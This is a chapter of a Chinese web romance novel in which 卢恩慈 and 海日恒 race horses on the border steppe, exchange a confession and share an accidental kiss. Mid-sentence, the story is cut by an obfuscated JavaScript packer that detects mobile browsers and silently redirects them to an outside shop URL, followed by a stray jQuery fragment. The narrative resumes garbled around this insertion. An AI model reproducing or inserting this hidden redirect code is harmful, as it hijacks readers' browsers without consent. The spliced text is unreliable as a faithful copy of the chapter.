99.惊鸿照影情未了

作品:《太液池里可以养鸬鹚吗

    “你要去哪儿?”海日恒看到卢恩慈起身,紧紧跟上。


    “不去哪儿。”卢恩慈没有回头,径自走到马儿身边:“你不是说要约我骑马吗,来吧!”


    “不骑也罢,我只想趁你回大周京城前,和你单独待会儿。”海日恒扶着卢恩慈上马:“你想怎样都行。”


    “来都来了。”卢恩慈放目远眺,忽然想到一句对联——雾锁山头山锁雾,天连水尾水连天。


    她结合着眼前景色稍微化用,可以说是“天连草尾草连天”了。


    “那我跟着你,你骑去哪里,我就骑去哪里。”海日恒也翻身上马。


    两人在漫山遍野的草原上漫无目的地边骑马边聊天。


    风里带着草木清香,扑面而来。不算刺眼的阳光洒遍整个原野,草叶尖尖处闪着太阳的光泽。


    自离开京城之后,她很久都未如此惬意过了。


    卢恩慈和海日恒有一搭没一搭地说着话。说着说着,她就陷入了良久的静默。


    海日恒也不催她回话,很贴心地缄口不语。


    只有两人身下的马儿时不时地耸动鼻子声,以及天空中偶尔飞过大雁的雁鸣。


    如果时光能至此停留就好了。卢恩慈心里忽地一酸。


    不知道她能否顺利地应付回京后遇到的难题,不知道她能否再次和海日恒漫游于这片空旷的草原。


    “海日恒。”卢恩慈忽然开口。


    “诶?我在!”海日恒正百无聊赖地抚摸着自己爱马的鬃毛,听到卢恩慈喊他,立刻回应。


    “我们比赛骑马吧。”卢恩慈做出蓄势待发的样子。


    “比赛骑马?可以啊。”虽然不知道卢恩慈怎么突然提出这个要求,但是海日恒还是一脸懵地应下了。


    “我们现在脚下的这片草原,位于大周和北戎的分界线,是两不管的地带。”卢恩慈向北指去:“但是再往北,就到北戎了。”


    “没错。”海日恒看了看方位,点点头。


    “那我们就往北骑,看谁先到那座山丘好不好?”卢恩慈在目测了下距离。


    “没问题!”海日恒顺着卢恩慈指的方向看过去:“什么时候开始比?”


    “就现在!”卢恩慈紧握缰绳,双腿夹紧马肚,朝目的地奔去。


    海日恒特意等了一会儿,才开始加速。


    他心内犹豫得很——若单纯比赛,他这个马背上的老手想要赢过卢恩慈,简直信手拈来。


    但是他又怕赢了卢恩慈她会不高兴,就刻意放慢了速度。


    不过放水太多,卢恩慈说不定更不满意,觉得他没有认真和她比。


    于是海日恒骑得时快时慢,异常纠结,很快就被卢恩慈甩开一段距离。


    “哎呀,我这样落后她太多,显得我完全没把这场比赛当回事,还是认真骑吧!”看到卢恩慈的身影距离他越来越远,海日恒才驾马狂奔。


    可是骑了一会儿,他依旧赶不上卢恩慈。


    海日恒意识到卢恩慈是使出全部力气和他比的,心内后悔不迭。


    “不对,她骑得也太快了吧!这个速度骑下去万一收不住,会人仰马翻的啊!”海日恒越来越急,不再顾及其他,一个劲儿地追赶。


    两人你追我赶,终于在到达那座山丘时,海日恒追上了卢恩慈。


    “你骑那么快,很危险的!”海日恒担忧道,庆幸没有出什么意外状况。


    “可是我不想输啊。”卢恩慈俯下身,揉揉马儿转动的耳朵:“哪怕我知道骑术比不上你,至少输得不那么难看。”


    “我会让着你的!”海日恒急了,扯住卢恩慈的衣袖。


    “谁要你让着我了?”卢恩慈扭过头,驱使着马儿沿着平缓的山脊,登上山丘之顶。


    山丘虽说不算高,但登顶后,山丘北侧的北戎大片牧场尽收眼底。


    此时正是水草丰沛之际,成群的牛羊沿着高山雪水融化行程的汩汩溪流饮水吃草。


    有时风儿一吹,草原间会显现出一两处黑白点点——是被草遮挡住身子的牛羊。


    海日恒跟着卢恩慈爬上山,心里还记挂着刚刚骑马的惊险:“无论我让不让着你,你刚才骑速过快,属实不安全。”


    要是卢恩慈在跟着他出来玩时出事,他不会原谅自己,而且商泽亭和秦牧山两人会合伙把他皮扒下来的!


    “我也知道你是为了我着想。”卢恩慈低下头:“刚刚是我莽撞了。”


    好久之后,她又幽幽补了一句:“可是我真的不想输。我想要得到的东西,我全力以赴都要得到!”


    海日恒听出卢恩慈这句话话中有话。他琢磨半天,也不敢问卢恩慈他揣测的对不对。


    此时太阳渐渐西落,将天幕染成壮丽的玫瑰色。


    他站在卢恩慈的背后。


    卢恩慈正聚精会神地欣赏着这草原上的日落,而海日恒则聚精会神地望着她的背影。


    “恩慈,那你想要我吗?”海日恒一向嗓门大,现在的声音却如小虫嗡嗡。


    “嗯?你想要什么?”卢恩慈没听清,回过头。


    “你刚刚说你想的东西,你全力以赴都会得到。”海日恒红着脸,不知是害羞还是夕阳的照耀:“那我呢?你想要我吗?”


    卢恩慈盯着海日恒好一会儿,海日恒被她看得不自在,他正要说你不想说就算了,可卢恩慈却回答了。


    “想要你,我当然想要你。”卢恩慈回答斩钉截铁,引得海日恒心脏怦怦直跳。


    “此话当真?”海日恒忽觉眼里有些痒,伸手一抹,居然带出泪水。


    所谓喜极而泣,就是他现在这样吧?


    “当真。”卢恩慈拿出随身携带的手绢,为他擦去眼角的湿润。


    海日恒不好意思,抢过卢恩慈的手绢,手忙脚乱地自己擦起来。


    卢恩慈看着他笨拙得可爱的样子,嘴角露出些发自内心的笑意。


    她刚刚没有骗海日恒,只是没有把话说完。


    她很贪心,想要的东西太多,不止海日恒一个人。


    而且,除了海日恒,她还想要海日恒背后的一切。


    思及此处,卢恩慈隔着海日恒的身躯,再次远眺北戎的牧野。


    试问,让大周和北戎边境保持安定的最佳方式是什么?


    若能将北戎纳入势力范围,两地便不再有边境,边境的动乱也就迎刃而解,永远不复存在。


    “恩慈,你在想什么呢!”海日恒用手指戳戳卢恩慈的肩膀:“叫你半天也不应!”


    “傍晚的余晖,是这样让人注目。”卢恩慈将


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17336825|192395||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    心事隐于心底:“怎么啦?”


    “我们回——”海日恒本想跟她说是时候回程了,目光却被天边的飞鸿吸引住。


    “恩慈,你看!”卢恩慈循着海日恒所指处,望见一只盘旋于天宇的大雁。


    “我们乘兴出游,总不能空手而归。”海日恒动作娴熟地挽了弓箭。


    “那只大雁离我们不近,飞得挺高——”卢恩慈话音未落,只听见“咻”的一声,一箭穿空,大雁应声而落。


    “给你浅浅露一手!”海日恒叉着腰,满脸写着求夸奖。


    “厉害厉害!”卢恩慈很给面子,鼓起掌。


    “我们下山,把它带回去!”海日恒牵着卢恩慈的手:“别被什么鬣狗叼走了!”


    “好好好!”卢恩慈小跑着跟在大步流星的海日恒身后。


    两人紧赶慢赶下了这座小山丘,到了低地。海日恒捡起地上他射中的大雁,朝卢恩慈挥手,展示着他的战利品。


    “商大人和秦将军有没有像我这样?”海日恒忸怩道:“论骑射,我肯定比他们二人强!”


    “你强,你强!”卢恩慈无奈地笑笑:“怎么什么都要比?”


    “谁叫你身边……”海日恒把话咽进嘴里——他不想在卢恩慈面前留下怨夫的形象。


    卢恩慈带着好奇,摸着大雁的羽毛。


    大雁的体型比她想象中的大。她往常只在秋日仰头看向天空时,看着雁群排成“人”或“一”字型在她头顶掠过。


    当下她亲手抚上,竟然有些不真切之感。


    突然,这只大雁垂死挣扎着扑闪了下翅膀,便不再有气息。


    卢恩慈被大雁的扑闪翅膀险些扇到眼睛。


    海日恒见状,丢下心心念念的大雁,揽住卢恩慈,想要看她有没有事。


    卢恩慈抬起头,刚要说她没有大碍,正巧遇上海日恒低头查看。


    卢恩慈只感到自己额间碰到了一抹温热的触感。


    像是被不知何处飞来的石子一击,她瞬间失去了意识,只感到一股热流从额头涌遍全身。


    还是海日恒先意识到自己亲上了卢恩慈。


    他像弹簧似的跳开,比卢恩慈还害羞,蹲在草丛里,不敢直视她。


    卢恩慈摇了摇有些眩晕的头,拍拍海日恒的背。


    “哎呀呀,我不是有意的!你别怪我!”海日恒捂着脸。


    “你这是做什么?我又没怪你。”卢恩慈招呼海日恒起身:“天快黑了,我们快回去!”


    “要是让商大人知道怎么办?”海日恒扭扭捏捏,倒像是卢恩慈吃了他豆腐。


    “不告诉他就是了。”卢恩慈骑上马:“不过我们若是回去晚了。泽亭可就真的又要怪你了!”


    “等等我!”海日恒张开捂着脸的手,看到卢恩慈已经慢悠悠地骑马往回走,捡起大雁,上马追她。


    两人乘着晨曦而来,踏着余晖归来。


    商泽亭看到卢恩慈和海日恒骑马回来,快步上前迎接,看到海日恒手里的大雁,气得摔门而入。


    “他这是耍什么性子?明明我们出去时还好好的。”卢恩慈和海日恒茫然地面面相觑。


    他俩准备推门,门忽地大开。


    商泽亭怒不可遏:“海日恒你就这么想挑衅我吗?”